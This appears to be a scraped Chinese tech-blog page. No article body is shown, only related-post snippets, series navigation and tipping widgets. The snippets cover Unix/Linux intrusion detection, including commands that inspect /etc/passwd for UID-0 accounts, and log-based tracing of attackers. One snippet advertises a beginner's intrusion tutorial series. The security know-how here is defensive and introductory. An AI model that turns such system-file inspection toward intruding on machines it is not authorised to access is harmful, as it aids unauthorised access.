预备知识 因为UNIX和类UNIX系统经常承当着关键任务,所以它经常是入侵者攻击的首选目标。于是检测入侵、保护系统安全是管理员的最为重要的任务之一。那么,在没有其它工具帮助的情况下,如何去判断系统当前的安全性?如何去发现入侵呢?下面给大家介绍一些常用到的检查方法,以LINUX为例。 实验 检查系统密码文件首先从明显的入手,查看一下passwd文件,ls–l /etc/passwd查看文件修改的日期。输入命令awk–F:’$3==0 {print }’ /et...

lalalalala~~ 2935

STM32F407中文手册

STM32f407中文手册 本参考手册面向应用开发人员,提供有关使用 STM32F405xx/07xx、STM32F415xx/17xx、 STM32F42xxx 和 STM32F43xxx 微控制器存储器与外设的完整信息。STM32F405xx/07xx、STM32F415xx/17xx、STM32F42xxx 和 STM32F43xxx 构成一个微 控制器系列,各产品具有不同的存储器大小、封装和外设。有关订购信息以及器件的机械与电气特性,请参见数据手册。有关 ARM Cortex™-M4F 内核的信息,请参见《Cortex™-M4F 技术参考手册》。

Unix 的入侵追踪

 在*NIX系统遭受入侵后,确定损失及入侵者的攻击源地址相当重要。虽然在大多数入侵者懂得使用曾被他们攻陷的机器作为跳板来攻击你的服务器可在他 们发动正式攻击前所做的目标信息收集工作(试探性扫描)常常是从他们的工作机开始的,本篇介绍如何从遭受入侵的系统的日志中分析出入侵者的IP并加以确定 的。1.messages  /var/adm是UNIX的日志目录(linux下则是/var/log)。有

不用此栏 2024

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

UNIX入侵过程(1)

UNIX入侵过程(1)作者序言:   本来很久以前说要写篇sunos 入侵教程的,但一直都没空,也没兴趣写。 说到就要做到。今天有点无聊的感觉,写点东西吧。 不过,这是我的最后一篇入侵教程。 黑来黑去有什么意思呢,我觉得还是写些技术分析的文章好些。 希望新手们看了我的这最后一篇入侵教程,能找到一些感觉。 这只是一篇写给新手的入门教程,不是新手的免看。

【GTA: Vice City】 1287

系统安全防护之UNIX下入侵检测的方法

 因为Unix系统经常承当着关键任务,所以它经常是入侵者攻击的首选目标。于是检测入侵、保护系统安全是管理员的最为重要的任务之一。那么,在没有其它工具帮助的情况下,如何去判断系统当前的安全性?如何去发现入侵呢?下面给大家介绍一些常用到的检查方法 以Linux和Solaris为例: 1、检查系统密码文件 首先从明显的入手,查看一下passwd文件,ls –l /etc/passwd查看

不用此栏 2703

Unix常用手工入侵检测方法与命令

    一个好的网管员不但要管理好网络,能及时排除各种故障,还要注意网络安全,提防黑客入侵。所以熟悉常用手工入侵检测的方法和命令也应该是网管员们的基本技能之一。本文介绍的是一些Unix下常用手工入侵检测方法与命令,网管员们掌握了它不但可以迅速判断出一些简单的黑客入侵,还可以加深对入侵检测的了解,从而能更好地使用一些入侵检测和审计工具。    检查/etc/passwd文件中是否有可疑用户    U

s_sword的专栏 1039

入侵UNIX和Linux服务器入门

原贴:http://www.any2000.com/Articles/show/1581_1.htm 入侵UNIX和Linux服务器入门

最实用的Linux博客 925

Unix操作系统入侵追踪反击战

导读:   在Unix系统遭受入侵后,确定损失及入侵者的攻击源地址相当重要。虽然在大多数入侵者懂得使用曾被他们攻陷的机器作为跳板来攻击你的服务器可在他们发动正式攻击前所做的目标信息收集工作(试探性扫描)常常是从他们的工作机开始的,本篇介绍如何从遭受入侵的系统的日志中分析出入侵者的IP并加以确定的。      1.messages    /var/adm是UNIX的日志目录(linux下则是/var

技术资料库 1115

系统安全防护之UNIX下入侵检测方法

因为UNIX系统经常承当着关键任务,所以它经常是入侵者攻击的首选目标。于是检测入侵、保护系统安全是管理员的最为重要的任务之一。那么,在没有其它工具帮助的情况下,如何去判断系统当前的安全性?如何去发现入侵呢?下面给大家介绍一些常用到的检查方法  以LINUX和solaris为例:  1、检查系统密码文件  首先从明显的入手,查看一下passwd文件,ls –l /etc/pass

cnbird's blog 1004
上一篇: UNIX入侵过程(1)
下一篇: UNIX入侵过程(3)
bmsdr
博客等级 码龄22年 11粉丝 65原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值